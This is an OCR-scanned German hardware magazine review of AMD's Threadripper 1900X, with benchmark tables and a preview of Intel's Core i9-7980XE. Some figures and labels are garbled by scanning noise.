Ryzen 7 1800X © DDR4-2933DR 109,5 (+7 96) 
Ryzen 7 1800X @ DDR4-2400DR 88 102,6 (Basis) 


Ryzen TR 1900X @ DDR4-3066DR EE 118,4 (+10 %) 

Ryzen TR 1900X © DDR4-3200SR 116,2 (+8 %) 

Ryzen TR 1900X @ DDR4-2400DR ЕШШ 107,4 (Basis) 
CPU-Bench (integriert): 1.280 x 768: Ashes of the Singularity Escalation v2.41 


Ryzen 7 1800X © DDR4-2933DR БШШШ 48,3 (+8 %) 
Ryzen 7 1800X @ DDR4-2400DR Eu 44,8 (Basis) 


Ryzen TR 1900X @ DDR4-3200SR EEE 48,9 (+11 96) 
Ryzen TR 1900X © DDR4-3066DR EEE 48,2 (+9 %) 
Ryzen TR 1900X © DDR4-2400DR БЕШ 44,1 (Basis) 


System: 4 x 8 GiB DDR4-RAM; Windows 10 x64 (1703), Titan X (Pascal, GF 385.41 HQ) 
Bemerkungen: Dual-Rank-Speicher ist speziell in DX11 bei Threadripper wie Ryzen 7 
auch mit etwas niedrigerem Takt noch schneller als Single-Rank-RAM. 


Fps 
> Besser 


Auch AMD sieht nur in Ausnahmefällen Vorteile für Spieler beim Einsatz eines Thread- 
ripper 1900X gegenüber einem Ryzen 7 1800X. 


7 1800X. Dieses Ergebnis über- 
rascht nicht, denn selbst AMD gibt 
in seinem Infomaterial an, dass die 
Spieleperformance im Großen und 
Ganzen höchstens ausgewogen ist. 
Natürlich „glättet“ das einsetzende 
Grafiklimit in Auflösungen ober- 
halb von Full HD mit 1.920 x 1.080 
Pixeln die Ergebnisse und lässt die 
Prozessoren enger 
cken. Auch unsere Tests abseits des 
Parcours haben für Spieler mit In- 
teresse am TR-1900X nur in einem 
Fall etwas Positives ergeben: Im 
gerade frisch gepatchten Ashes of 
the Singularity: Escalation liegt der 
TR-1900X im integrierten Bench- 
mark (unser Savegame ist leider 
nicht kompatibel mit der neueren 


zusammenrü- 


www.pcgameshardware.de 


Version!) 5 bis 10 Fps vor dem R7- 
1800X - allerdings nur, wenn man 
die Benchmarkoption „GPU-Fokus“ 
wählt. Im CPU-lastigen Teil sind 
beide prinzipiell gleich flott. Die 
Skalierung mit erhöhtem Speicher- 
takt offenbart ebenfalls nur ein 
nettes Detail: Mit demselben Dual- 
Rank-RAM von Corsair war beim 
TR-1900X ein Takt von 3066 MHz 
möglich, während der R7-1800X 
bei DDR4-2933 dicht machte. Sin- 
gle-Rank-Speicher ist nach wie vor 
trotz einer Taktstufe mehr etwas 
langsamer: DDR4-3200 SR ist also 
im Schnitt nicht flotter als DDR4- 
3066 DR, gleiches gilt für die Stan- 
dard-Takte von 2400DR vs. 2667SR, 
weshalb wir als Standard-Option 


Ryzen 7 1800X © DDR4-2933DR ge p 132,1 (+7 96) 
Ryzen 7 1800X @ DDR4-2400DR Eo 122,9 (Basis) 


Ryzen TR 1900X @ DDRA4-3066DR Egi pw 125,9 (+14 %) 

Ryzen TR 1900X @ DDRA4-3200SR Egon p 125,0 (+13 96) 

Ryzen TR 1900X @ DDR4-2400DR Egg E 110,6 (Basis) 
Rise of the Tomb Raider „Geo Valley" (DX11, 720p, kein AA/AF/PP) 


Ryzen 7 1800X © DDR4-2933DR egi pw 99,0 (+11 96) 
Ryzen 7 1800X @ DDR4-2400DR ВЕБ E 89,3 (Basis) 


Ryzen TR 1900X @ DDR4-3066DR ШСЗ ew 95,2 (+17 96) 
Ryzen TR 1900X © DDR4-3200SR a ww 92,6 (+14 96) 
Ryzen TR 1900X  DDR4-2400DR. Esau 81,3 (Basis) 

Assassin's Creed Syndicate „Bishopsgate” (DX11, 720p, kein AA/AF/PP) 
Ryzen TR 1900X © DDRA-3066DR Egi 125,3 (+18 96) 
Ryzen TR 1900X @ DDR4-3200SR [gg Eu 122,0 (+15 96) 
Ryzen TR 1900X @ DDRA-2400DR Ee pw 106,5 (Basis) 

Crysis 3 , Fields" (DX11, 720p, kein AA/AF/PP) 
Ryzen TR 1900X @ DDR4-3200SR Egg p 148,1 (+6 96) 
Ryzen TR 1900X @ DDR4-3066DR [Egg e 147,5 (+6 %) 
Ryzen TR 1900X @ DDR4-2400DR [gn p 139,5 (Basis) 


System: 4 x 8 GiB DDRA-RAM; Windows 10 x64 (1703), Titan X (Pascal, GF 385.41 HQ) 
Bemerkungen: Dual-Rank-Speicher ist speziell in DX11 bei Threadripper wie Ryzen 7 
auch mit etwas niedrigerem Takt noch schneller als Single-Rank-RAM. 


MiMi @ Fps 


» Besser 


Auswahl: Spieleleistung Threadripper 1900X 


F1 2015 — „Stormy Spain” (720p, kein AA/AF/min. Post-Proc.) 


Intel Core i9-7900X (3,3+ GHz — 10c/20t) Ea 136,1 (+47 96) 
Intel Core 17-7820Х (3,6+ GHz – 8c/16t) E06 129,1 (+39 %) 
AMD Ryzen TR 1950X (3,4+ GHz — 16c/32t) ВОО ШЕШШ 113,4 (+22 %) 
Intel Core 17-7800Х (3,5+ GHz – 6c/12t) ВО ps 112,1 (+21 96) 
AMD Ryzen TR 1920X (3,5+ GHz - 12с/241) EI 112,1 (+21 %) 
AMD Ryzen TR 1900X (3,8+ GHz — 8c/16t) ER ШЕШ 108,2 (+17 %) 
AMD Ryzen 7 1800X (3,6+ GHz – 8c/16t) e 92,7 (Basis) 
ntel Core i7-7700K (4,2+ GHz — 4c/8t) |a s 88,6 (-4 96) 
AMD Ryzen 5 1600 (3,2-+ GHz – 67/121) Ent ШЕШ 86,6 (-7 96) 
ntel Core i5-6600K (3,5+ GHz — 4c/4t) gt 58,8 (-37 %) 


Witcher 3 - „Hierarch Square" (720p, kein AA/AF/Hairworks, min. Post-Proc.) 


Intel Core i9-7900X (3,3+ GHz – 10c/20t) aat 133,1 (421 90) 
Intel Core 17-7820Х (3,6+ GHz — 8c/16t) 64251 131,7 (+20 96) 
Intel Core i7-7700K (4,2+ GHz — 4с/81) Eau 125,5 (+14 96) 
Intel Core 17-7800Х (3,5+ GHz – 67/120) om 119,1 (+8 %) 
AMD Ryzen TR 1950X (3,4+ GHz – 16с/321) Eod 112,2 (+2 96) 
AMD Ryzen 7 1800X (3,6+ GHz — 8c/16t) os! 109,9 (Basis) 
AMD Ryzen TR 1920X (3,5+ GHz – 126/241) Eon 108,1 (-2 96) 
AMD Ryzen TR 1900X (3,8+ GHz — 8c/16t) ET 106,6 (-3 96) 
AMD Ryzen 5 1600 (3,2+ GHz – 67/121) Egg H 101,6 (-8 9) 
Intel Core i5-6600K (3,5+ GHz – 4c/4t) get 83,5 (-24 96) 


System: Intel X299/7170, AMD X399/X370,8 GiB RAM pro Speicherkanal (Geschw. jeweils 
laut max. CPU-Spez.), GTX 980 Ti @ 1,38/3,9 GHz; Win10 64 Bit Bemerkungen: Spiele-Tests 
in 1.280 x 720, bei max. Details außer Screen-Space/Post-Proc.-Effekte, Kantenglättung und AF. 


Mimil 2 Fps 


» Besser 
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PROZESSOREN | Test: Threadripper 1900X 


PROZESSOREN 


Auszug aus Testtabelle 
mit vielen weiteren Wertungskriterien 


Prozessor 
PCGH-Preisvergleich 
Preis/Preis-Leistungs-Verhàltnis 


AMD 


RYZEN 


THREADRIPPER 
AMD Ryzen TR 1900X 


www.pcgh.de/preis/1681714 
Ca. 530 €/ Schulnote 5+ 


Für Mainboards mit Sockel ... 


TR4 (Sockel 4094) 


Codename 


Threadripper 


Anzahl Kerne/Module, Uncore-/L3-Takt 


8 (16), wie Speicher-/Kerntakt 


Basistakt (Turbo für alle und einen Kern) 


3,8 GHz (3,9-4,2 GHz) 


L1-Cache (Daten/Befehle, je Kern/Modul) 


32 KiByte/64 KiByte 


L2-Cache (je Kern/Modul)/LLC (gesamt) 


512 KiByte/32 MiByte 


Transistoren, Fertigung, Die-Size 
Ausstattung (20 % der Endnote) 
Grafikeinheit 


2x 4,8 Mrd., 14 nm, 2x 213 mm? 
2,05 
Nicht vorhanden 


Befehlssátze und Erweiterungen (Auswahl) 


SSE bis 4.2, AVX bis 2, AES, FMA3 


Integrierte PCI-Express-Lanes 


64x PCI-Express 3.0 


Eigenschaften (20 % der Endnote) 2,53 
Offener Multiplikator* Ja (bis 63,75) 
Übertaktung per Referenztakt?* Ja 


Speicherkanäle (u. max. Geschwindigkeit*/**) 


2x DDR4-2667 Single-Rank/-2400 Dual-Rank 


TDP laut Hersteller** 


180 Watt 


Systemverbrauch Leerlauf abzüglich Grafikkarte |51 Watt 
Systemverbrauch (Anno/C3/TW3)** 250/344/317 Watt 
Systemverbrauch Spiele (Durchschnitt)* * 289 Watt 
Systemverbrauch Anwendungen (Durchschnitt)** |238 Watt 
Spieleindex (60 % der Leistungsnote) 74,9% 
Anwendungsindex (40 % der Leistungsnote) 73,5 % 


FAZIT 


© Plattform mit vielen Erweiterungsmöglichkeiten ... 
© ... aber teurer und stromdurstiger als AM4 und für 


Spieler kaum Vorteile gegenüber dem R7-1800X 


Wertung: 2,16 


ersteres wählen. Auch in unserem 
Benchmark-Parcours tat sich der 
Threadripper schwer gegen seinen 
Verwandten: Nur in Assassin’s Creed 
Syndicate sowie in F1 2015 konnte 
er den R7-1800X knapp hinter sich 
lassen, in den restlichen sechs Spie- 
len war der AM4-Prozessor flotter, 
ebenso in beiden DX-Versionen 11 
und 12 im außer der Reihe mitgetes- 
teten Rise of the Tomb Raider. 


Besser schneidet der Threadripper 
in Anwendungen ab. Hier lässt er 
die AMD'sche Achtkern-Konkur- 
renz über den gesamten Index 
immerhin um gut 3 Prozent oder 
2,4 Indexpunkte hinter sich. Spe- 
ziell beim Video-Transcoding, in 
Lightroom und in y-cruncher liegt 
der TR-1900X um bis zu 10 Prozent 
in Front. Das eigentlich als speicher- 
lastig bekannte Komprimierungs- 
programm 7-Zip hingegen knab- 
bert wohl an der Kommunikation 
zwischen den beiden Einzel-Chips 
im TR-1900X und legt trotz theore- 
tisch doppelter Speichertransfer- 
rate nur geringfügig zu. Auch die 
Rendering-Programme Cinebench 


R15 und Blender zeigen nur geringe 
Zuwächse, die im Rahmen des höhe- 
ren Taktes liegen. 


Das alles geht mit einer im Vergleich 
zum Ryzen 7 1800X merklich er- 
höhten Leistungsaufnahme einher, 
auch wenn dieser Aspekt für viele 
High-End-Desktop-Nutzer nur eine 
untergeordnete Rolle spielt. Küh- 
lungsseitig sind keine Probleme zu 
erwarten, die für die TR4-Plattform 
freigegebenen Modelle halten den 
Threadripper 1900X problemlos 
im grünen Bereich, seine TDP von 
180 Watt überschreitet er nur beim 
Übertakten. (cs) 


Fazit Нагйшаге 


AMD Ryzen Threadripper 1900X 
Mehr noch als bei den gróBeren Ge- 
schwistern gilt für den TR-1900X, dass 
nicht unbedingt der Prozessor, sondern 
die Plattform der Star ist. Spieler, die mit 
je einer Grafikkarte und M2-SSD aus- 
kommen, sind trotz „пиг“ Dual-Chan- 
nel-RAMs bei Ryzen-7-CPUs wie etwa 
dem 1800X besser aufgehoben. 


Rise of the Tomb Raider (DX11), Grafik: Titan X Pascal, Geforce 385.41, Zielvorgabe für Leistung 120 %, für Temperatur 90 °C: Der Threadripper läuft nicht nur 
etwas langsamer als der Ryzen 7, die Frametimes sind auch geringfügig ungleichmäßiger — auch bei flotterem Speicher ändert sich das Verhalten nicht grundlegend. 


Frametimes: Threadripper 1900X (RotTR DX11, 720p) Frametimes: Ryzen 7 1800X (RotTR DX11, 720p) 


E 


u 


Statistics (displayed events) 


Аму. time: 12,3 
"ө 


, 
FRAFS Bench Viewer 7 Notes: 


Ryzen TR-1900X 
Rise of the Tomb Raider DX11 „Geo Valley" 
PCGH CPU Benchmark x 720 
Titan X(Pascal, 385.41) 


2m FRAFS Bench Viewer 


Notes: 


Ryzen 7-1800X 

Rise of the Tomb Raider DX11 „бео Valley" 
PCGH-CPU-Benchmark - 1.280 x 720 
Titan X(Pascal, 385.41) 


um 


tom 


timespan: 1905 1905 

Mmerange; (10:37:53,4 - 16:36:13,4) (16:45:32,3 - 16:45:57,3) 
| 1 | | П 1 1 1 1 | | L | | 1 1 | 1 | | | 
0 2 4 6 8 10 12 14 16 18 20 0 4 6 8 10 12 14 16 18 20 


The Witcher 3 (DX11), Grafik: Titan X Pascal, Geforce 385.41, Zielvorgabe für Leistung 120 %, für Temperatur 90 °C: Hier liegen sowohl die Endresultate als 
auch die Frametimes dichter zusammen als im obigen Vergleich, trotzdem auch hier: Trotzt niedrigerem Takt leichte Vorteile in der Frameverteilung für den Ryzen 7 1800X. 


Frametimes: Threadripper 1900X (The Witcher 3 DX11, 720p) Frametimes: Ryzen 7 1800X (The Witcher 3 DX11, 720p) 


wes FRAFS Bench Viewer 
Statistics (displayed events) 
Avg. time: (108 FPS) 
19% time: 11,3 (ва FPS) 
01% time: (66 FPS) 


2,1 Kframes; (0 - 2150) 
ti ~ 


- 'imespan: * 
time range: (15:S9:01.3. 15:59:21,2) 


че 


Notes: 


Im 


Titan X(Pascal, 385.41) 


"m 


wen FRAFS Bench Viewer Notes: 
зз 
Statistics (displayed events ^ 
Avg.time: — 9, (111 FPS) The Witcher 3 Aperach Square" 
1% time: — 109 (92 FPS] PCGH-CPU-Benchmark - 1.280 x 720 
Titan X(Pascal, 385.41) 


EL Se 


time range: (17:05:40,i - 17:06:00,1) 


um 


"lm 
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Test: Threadripper 1900X | PROZESSOREN eJ 


Anwendungsleistung im Vergleich - sortiert nach Platzierung im Anwendungsindex 


Prozessormodell 3DM Fire Cinebench R15 7-Zip Lightroom Blender 2.76 | Blender 2.78 | x264 UHD-Trans- |  y-Cruncher y-Cruncher 
Strike Physik | (Punkte ST/MT) | (Sekunden) 5.7.1 (Sekunden) VC14 coding 0.6.9.9462 0.7.3.9474 
(Punkte) (Sekunden) (Sekunden)* (Sekunden) (Sekunden) (Sekunden)* 
AMD Ryzen TR 1950X 26.002 67/3.062 21 92 88 64,8 38,7 60,7 51,1 
ntel Core i9-7900X 24.094 94/2.105 05 87 98 78,3 48,7 62,9 50,7 
AMD Ryzen TR 1920X 23.865 65/2.459 32 93 99 113 45,5 80,7 63,1 
ntel Core i7-7820X 21.295 94/1.750 22 89 29 91,4 57,2 66,3 55,2 
Intel Core [7-6950X 21.430 66/1.805 20 90 17 88,8 61,3 69,5 598 
ntel Core 17-6900К 9.232 67/1.483 26 93 43 06,0 71,7 74,6 66, 1 
AMD Ryzen TR 1900X 20.280 69/1.716 TI 95 133,1 04,7 60,8 00,8 81,6 
AMD Ryzen 7 1800X 9.312 63/1.639 84 05 40 07,7 64,3 08,7 90,7 
ntel Core 17-5960Х 6.203 39/1.329 35 08 61 = 80,6 81,2 = 
AMD Ryzen 7 1700Х 8.246 55/1.557 91 1 49 13,0 67,5 13,4 94,2 
„| Intel Core i7-7800X 7.655 741.303 80 04 65 199) 74,9 ОЛ 75,7 
š AMD Ryzen 7 1700 6.798 48/1.426 203 H 61 23,0 73,1 21,5 101 
š ntel Core i7-6800K 5.644 56/1.114 70 1 86 = 96,3 07,7 = 
E AMD Ryzen 5 1600X 7.113 63/1.244 229 1 81 38,9 84,2 46,5 WER 
Š ntel Core 17-5820К 3.589 42/1.022 68 9 203 = 03,9 10,4 = 
š ntel Core i7-7700K 4.240 95/974 204 8 205 54,0 93,7 98,5 89,7 
& AMD Ryzen 5 1600 5.853 49/1.149 236 8 96 49,1 90,1 58,2 128,8 
E ntel Core i7-4790K 1.924 75/857 97 32 231 = 21,6 27,8 = 
Е ntel Core i7-5775C 2.278 55/787 95 33 257 = 25,4 398 = 
E ntel Core i7-990X 2.349 08/822 232 5] 243 - 38,9 3222 = 
E AMD Ryzen 5 1500X 2.185 56/818 283 23 266 201,2 26,2 208,9 1714 
E ntel Core i5-7600K 9.013 82/676 256 29 332 226,0 25,8 29,7 113,5 
E AMD FX-9590 8.407 13/727 208 46 415 = 38,4 256,4 = 
E ntel Core i7-3770K 9.926 421679 217 54 316 - 63,3 291,5 - 
= AMD Ryzen 5 1400 10.875 37/706 321 48 303 2381 41,8 233,9 193,1 


NSRock 


ATE XPERI 


AC t uge 


` k. 


25 


ТОР-ТЕСНМІК 


Asrock 
X299 Professional Gaming i9 SS, Р d 2 
Gigabit RG >) (шей (tel ) www.asrock.com 


AIRES = 
Нагйшаге 4 4Ethernet OPTANE»» ESSE The specification is subject to change without notice. 


L E D © inside The brand and product names are trademarks of their respective companies. 
< = Any configuration other than original product specification is not guaranteed. 


PROZESSOREN | Skylake X mit 18 Kernen 


Core i9-7900X (LCC) 


Core 17-7740Х 


Skylake X mit 18 Кегпеп 


Der Chipgigant Intel hat Threadripper offenbar gemütlich abgewartet, um sich nun mit zwei zusàtzlichen, 


nämlich 18 Kernen verlorenes Terrain zurückzuholen. Wir konnten ein Vorserienmuster ausprobieren. 


Anwendungsleistung: Core i9-7980XE (ES) 


Blender 2.78a VC14 


AMD Ryzen TR 1950X (3,4+ GHz – 16c/32t) 
AMD Ryzen TR 1920X (3,5+ GHz – 12c/24t) 
Intel Core i9-7900X (3,3+ GHz — 10c/20t) 
Intel Core i7-6950X (3,0-- GHz — 10c/20t) 
Intel Core i7-7820X (3,6+ GHz - 8c/16t) 


y-Cruncher 


Intel Core i9-7900X (3,3+ GHz – 10c/20t) 
AMD Ryzen TR 1950X (3,4+ GHz — 16/321) 
Intel Core i7-7820X (3,6+ GHz - 8c/16t) 
Intel Core i7-6950X (3,0-- GHz — 10c/20t) 
AMD Ryzen TR 1920X (3,5+ GHz — 12c/24t) 


x264-Videotranscoding 


AMD Ryzen TR 1950X (3,4+ GHz - 167/321) 
AMD Ryzen TR 1920X (3,5+ GHz - 12c/24t) 
Intel Core i9-7900X (3,3+ GHz – 10c/20t) 
Intel Core i7-7820X (3,6+ GHz - 8c/16t) 
Intel Core i7-6950X (3,0-- GHz — 10c/20t) 


58,9 (-25 %) 
65,4 (-16 96) 
77,3 (-1 96) 
78,3 
88,8 (+13 96) 
91,4 (+17 96) 


35,2 (31 %) 
50,7 
51,1 (+1 96) 
55,2 (+9 96) 
59,3 (+17 96) 
63,1 (+25 %) 


34,6 (-11 %) 
38,7 (21 %) 
45,5 (-7 %) 
48,7 
57,2 (+17 96) 
61,3 (+26 90) 


System: Intel X299/X99, AMD X399,8 GiB RAM pro Speicherkanal (Geschw. jeweils laut max. 
CPU-Spez.), GTX 980 Ti @ 1,38/3,9 GHz; Win10 64 Bit Bemerkungen: In Anwendungen zeigt 
der Achtzehnkerner seine trotz niedrigerer Taktraten brachiale Rechenleistung. 


Sekunden 
Besser 
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WX Jàhrend zum Redaktions- 
schluss Intels Core i9-7920X 
noch die teuerste CPU für den 
Hausgebrauch in der Intel-Preisliste 
ist, führt der Handel bereits den 
18-Kerner und Skylake-X-Topmodell 
Core 19-7980ХЕ für unglaubliche 
2.380 Euro. Betrachtungen zum 
Preis-Leistungsverhältnis erübrigen 
sich damit zwar, aber wie es um die 
Performance steht, wollten wir den- 
noch wissen. 


Nur eine Vorschau 

Bedauerlicherweise machte Intel 
uns einen Strich durch die geplante 
Rechnung, denn eigentlich hätte an 
dieser Stelle bereits der fertige Test 
des Mega-Prozessors stehen sollen. 
Allein, vor dem Marktstart gab es 
nicht genügend Muster und PCGH 
ging leider leer aus, sodass wir uns 
ein Engineering-Sample, ein Vor- 
serienexemplar also, aus Übertak- 
terkreisen besorgten. Der hatte das 
De-Lidding, auch bekannt als Köp- 
fen, und den Austausch des serien- 


mäßig nach wie vor nur leidlich gu- 
ten Wärmeleitmittels bereits hinter 
sich, sodass wir trotz Luftkühlung 
selbst im Stresstest immerhin keine 
Temperaturprobleme hatten. Aller- 
dings konnten wir aufgrund dieser 
Modifikation auch für einen seriö- 
sen Test keine Verbrauchswerte er- 
mitteln, denn die Temperatur spielt 
hierbei auch eine Rolle. Daher gibt 
es an dieser Stelle erst einmal ein 
kleines Performance-Preview und 
erste Eindrücke zu Intels neuem 
Topmodell. 


Der erste 18-Kerner 

Nicht zehn, nicht 16, nein gleich 18 
Kerne tràgt das Skylake-X-Topmodell 
unter dem Heatspreader und ist da- 
mit innerhalb der Pate stehenden 
Server-Familie sogar ,nur* der zweit- 
grófste Chip, denn in der Xeon-Reihe 
gibt es bis zu 28 x86-Rechenwerke. 
Wie alle Core i9 passt er nur in den 
Sockel 2066, darf im Gegensatz etwa 
zum 10- oder 12-Kerner aber bereits 
165 Watt aufnehmen. Trotzdem 
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Skylake X mit 18 Kernen | PROZESSOREN 


Spieleleistung: Core i9-7980XE (ES) 
Crysis 3 – „Fields” (720p, kein AA/AF/min. Post-Processing) Witcher 3 - „Hierarch Square” (720p, kein AA/AF/min. Post-Processing/Hairworks aus) 
Intel Core i9-7900X (3,3+ GHz – 10c/20t) 171 197,5 Intel Core i7-6950X (3,0+ GHz — 10c/20t) 128.2 134,6 (+1 96) 
Intel Core i7-6950X (3,0+ GHz — 10c/20t) 154 193,2 (-2 96) Intel Core i9-7900X (3,3+ GHz — 10c/20t) 12818 133,1 
Intel Core i7-7820X (3,6+ GHz — 8c/16t) 157 179,5 (-9 %) Intel Core i7-7820X (3,6+ GHz — 8c/16t) ШШШ 131,7 (-1 96) 
153 176,2 (-11 96) ШШШ 125,9 (-5 90) 
AMD Ryzen TR 1950X (3,4+ GHz — 16c/32t) 131 145,8 (-26 96) Intel Core i7-7700K (4,2+ GHz — 4c/8t) 1201 125,5 (-6 96) 
Intel Core i7-7700K (4,2+ GHz — 4c/8t) 127 144,3 (-27 %) AMD Ryzen TR 1950X (3,4+ GHz - 16c/32t) 102 112,2 (-16 %) 
System: Intel X299/X99/7170, AMD X399/X370,8 GiB RAM pro Speicherkanal (Geschwindigkeit jeweils laut max. CPU-Spezifikation), GF GTX 980 Ti @ 1.380/3.900 MHz; Win 10 64 Bit Min: Ø Fps 
Bemerkungen: Alle Spiele-Tests in 1.280 x 720 (16:9), bei maximalen Details außer Screen-Space/Post-Processing-Effekte sowie Kantenglättung und AF Besser 


muss er aufgrund der schieren Kernzahl, 
von denen jeder mit zwei AVX512-Einhei- 
ten bestückt ist, mit niedrigeren Taktraten 
vorlieb nehmen als noch der zehnkernige 
Core i9-7900X, dessen 4,0 GHz für alle 
Kerne er mit 3,4 GHz All-Core-Turbo klar 
verfehlt. Details dazu finden Sie in der aus- 
führlichen Tabelle am Ende des Artikels. 
Bereits an dieser Stelle daher der Hinweis, 
dass er im Spiele-Standardbetrieb daher 
fast immer langsamer als der 7900X ist, 
denn im Gegensatz zum Takt schlägt das 
Mehr an Kernen so gut wie nie 1:1 auf die 
Leistung durch. 


Nicht für Spieler gemacht ... 

Wie bei AMDs Threadripper-Plattform 
gilt auch bei Intel, dass ein Übermaß an 
Kernen nicht gut tut. Einige ältere Spiele 
starten nicht und einen bequemen Aus- 
weg wie das Ryzen-Master-Tool gibt es 
bei Intel derzeit nicht - Hand anlegen 
mittels numproc-Parameter ist angesagt. 
Darüber hinaus sind die meisten Spiele 
nicht in der Lage, die Last vernünftig auf 
die zur Verfügung stehenden 36 Threads 
zu verteilen und leiden eher unter dem 
600 MHz geringeren Allcore-Turbo im 
Vergleich etwa zum Zehnkerner 7900X. 
Unsere ersten Versuche diesbezüglich 
bestätigten dann auch, dass der Core i9- 
7980XE selbst in eigentlich vorbildlich 
(wenn auch nicht linear) skalierenden Ti- 
teln selbst für äußerst gut betuchte Spie- 
ler nicht die erste Wahl darstellt. 


... aber top in Anwendungen 

Zwar gibt es auch hier eine Vielzahl an 
Programmen, bei denen das Potenzial 
der zusätzlichen Kerne quasi verpufft, 
aber eben auch ein paar Programme, bei 
denen jedes Megahertz und jeder Kern 
von Nutzen sind. Das sind übrigens dieje- 
nigen Disziplinen, in denen AMD bereits 
mit dem Threadripper glänzen und sich 
so die Leistungskrone in Anwendungen 
von Intel stibitzen konnte: 3D-Rendering 
mit Blender respektive Cinema 4D/Cine- 
bench R15 sowie Video-Transcoding mit 
x264/265. Dazu kommt der neben Ryzen 
auch auf AVX512 optimierte Number- 
cruncher y-Cruncher, bei dem der Core 
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MMX 300 
2. GENERATION 


PROFESSIONAL GAMING HEADSET 


, 


MADEIN GERMANY 


JETZT 


VERFÜGBAR 


di mag 


Ursprünglich als High-End Headset für die private Luftfahrt entwickelt, 
wurde das MMX 300 perfektioniert für die speziellen Erfordernisse 
exzessiver Gaming-Sessions. Präziser Klang auf Tonstudioniveau, eine 
professionelle Sprachübertragung und Langlebigkeit „Маде in Germany" 
machen das MMX 300 zu einem Headset für echte Champions. 


www.beyerdynamic.com 


beyerdynamic)])) 


PROZESSOREN | Skylake X mit 18 Kernen 


: : i9-7980XE einen einsamen Rekord- 
Durchsatz: Recheneinheiten der gesamten CPU | wert aufstellt. Auch in AMDs Para- 
FREE Se Бей ВЕЕ dedisziplin Cinebench К15 schlägt 
" - Double-Precision-Rechenleistung bei verschiedenen Befehlstypen NM 
PN 9 yp der 18- den 16-Kerner, hier ist der 
s 1400 | + i7-7820X [ Vorsprung allerdings ähnlich knapp 
S 1.300 | ©i9-7900X / wie in Blender. Ergebnisse von 4.000 
x A 17-6950Х : : 
1.200 
8 Wel | B i7-7980xE / und mehr Punkten im Cinebench 
s c ө TR-1950X Í ° R15 sind hingegen dem Betrieb au- 
Ë 1.000 , R7-1800X [7 үк 
E erhalb der Spezifikation vorbehal- 
E 900 Г] ßerhalb der Spezifik: behal 
v 
rj 800 S / # ten, auch wenn Intel im Rahmen 
$ 20 [Nemad // І | 
5 Se / // einer Benchmark-Veranstaltung im 
Ф ⁄ . ГА 
< 500 / >— s. / Vorfeld genau dies vorführte. Solan- 
= 400 7 Кат == ө РЧ ER ge die offiziell vorgesehenen Turbo- 
I — у, die offiziell henen Turb 
o 300 "m / a - ° Lf Takte eingehalten werden und nicht 
E 20| *—— š x А а f 
E u 2. x^ ag > ‚уа durch ein „Enhancement“, also eine 
Š oleren Verbesserung durch das Mainboard- 
9 e e © 8 S шы 8 N N N N UFFI auf neue Höhen gehievt wer- 
S š k k E R š E B SS R den, bleibt es bei rund 3.300 Punk 
z z z z z z z z z z z z en, bleibt es bei run * unk- 
3 3 3 2 2 i 3 2 3 š 3 2 ten - aber auch bei der TDP von 165 
3 = = З i #3 з € Watt, die im Test nur geringfügi 
< š < = x 3 att, geringfügig 
Befehl (+8 Watt) und kurzzeitig für weni- 
efe 
ge Sekunden überschritten wurde. 
Bemerkungen: Der Core i9-7980XE stellt einen neuen Rekord für Desktop-CPUs auf. Beinahe 1,5 Mrd. Unter diesen Bedingungen ist es zu- 
AVX-512-Berechnungen pro Sekunde (TFLOPS) sind bei Werkstakt drin — wobei die Mainboard-/UEFI-Kombi die N . x 
165W-TDP-Grenze einhält. AMDs TR-1950X hält bei AVX128 mit und liegt bei der Kombination Mul--Add gar vorn. mindest im Falle unseres vom Uber- 


Unter De-Lidding 
versteht man das 
Entfernen des Heat- 
spreaders, um ein 
besseres Wärmeleit- 
mittel für niedrigere 
Temperaturen und 
hóhere OC-Takte zu 
erreichen. 


takter Roman „der8auer“ Hartung 
vorgekópften Exemplars kein Prob- 
lem, den i9-7980XE mit Luft in ange- 
nehmen Temperaturbereichen von 
deutlich unterhalb 70 Grad Celsius 
zu halten. Erste Labormesswerte un- 
seres modifizierten i9-7980XE beim 
Video-Transcoding zeigen einen we- 
nige Watt hóheren Verbrauch als bei 
AMDs Threadripper 1950x. 


Kopf an, Takt rauf 

Wer sich traut und den Garantie- 
verlust nicht scheut, de-lidded 
seinen Skylake X mit Werkzeugen 


wie dem ,Delid Die Mate X“, um 
das werkseitig aufgebrachte Mit- 
tel gegen leistungsfähigere Paste 
oder Flüssigmetall auszutauschen. 
Lohn der Mühen waren laut Roman 
Hartung, der sich auch ans Über- 
takten machte, stabile 4,5 GHz auf 
allen Kernen bei 1,15 Volt. Dafür 
brauchte es allerdings eine Was- 
serkühlung vom Schlage der NZXT 
X61 Kraken. In Verbindung mit der 
Thermal Grizzly Hydronaut (Test 
in PCGH 05/2016) war der Lohn 
der Mühen dann allerdings der sor- 
genfreie 4,5-GHz-Betrieb, bei dem 
sogar unter Prime95-Last kein Kern 
wärmer als 72 Grad Celsius (anstel- 
le von bis zu 88 ohne De-Lidding) 
im Freiluftaufbau wurde. 


Romans (stabiler) OC-Rekord lag 
zu Redaktionschluss übrigens bei 
4,8 GHz All-Core-Turbo, für die er 
aber bereits 1,25 Volt Spannung be- 
(cs) 


Fazit Hardware 


Ersteindruck Core i9-7980XE 

Für Spieler bringt die Vielzahl der Kerne 
nichts, zumal die Turbo-Takte ohne OC 
das Niveau von acht- oder zehnker- 
nigen CPUs deutlich verfehlen — dazu 
kommt der abschreckend hohe Preis. 
Wer den PC jedoch beruflich nutzt und 
für den geringere Wartezeiten bares 
Geld sind, für den mag sich ein Blick 
auf den Core i9-7980XE lohnen. 


nötigte. 


Skylake-X und die Turbo-Takte 


Intel Core ... i9-7980XE i9-7960X 19-7940Х 19-7920Х i9-7900X i7-7820X i7-7800X i7-7740X i5-7640X 
Chip (die) Skylake-SP HCC | Skylake-SP HCC | Skylake-SP HCC | Skylake-SP HCC | Skylake-SP LCC | Skylake-SP LCC | Skylake-SP LCC | Кару Lake X Kaby Lake X 
Aktive Kerne 18 16 14 12 10 8 6 4 4 
Hyperthreading (SMT) Ja Ja Ja Ja Ja Ja Ja Ja Nein 
Last-Level-Cache 24,75 22,00 19,25 16,50 13,75 11,00 8,25 8,00 6,00 
Thermal Design Power (TDP) 165 165 165 140 140 140 140 112 112 
Basis-Takt 2.600 MHz 2.800 MHz 3.100 MHz 2.900 MHz 3.300 MHz 3.600 MHz 3.500 MHz 4.300 MHz 4.000 MHz 
Turbo-Takt (alle Kerne) 3.400 MHz 3.600 MHz 3.800 MHz 3.800 MHz 4.000 MHz 4.000 MHz 4.000 MHz K. Angabe K. Angabe 
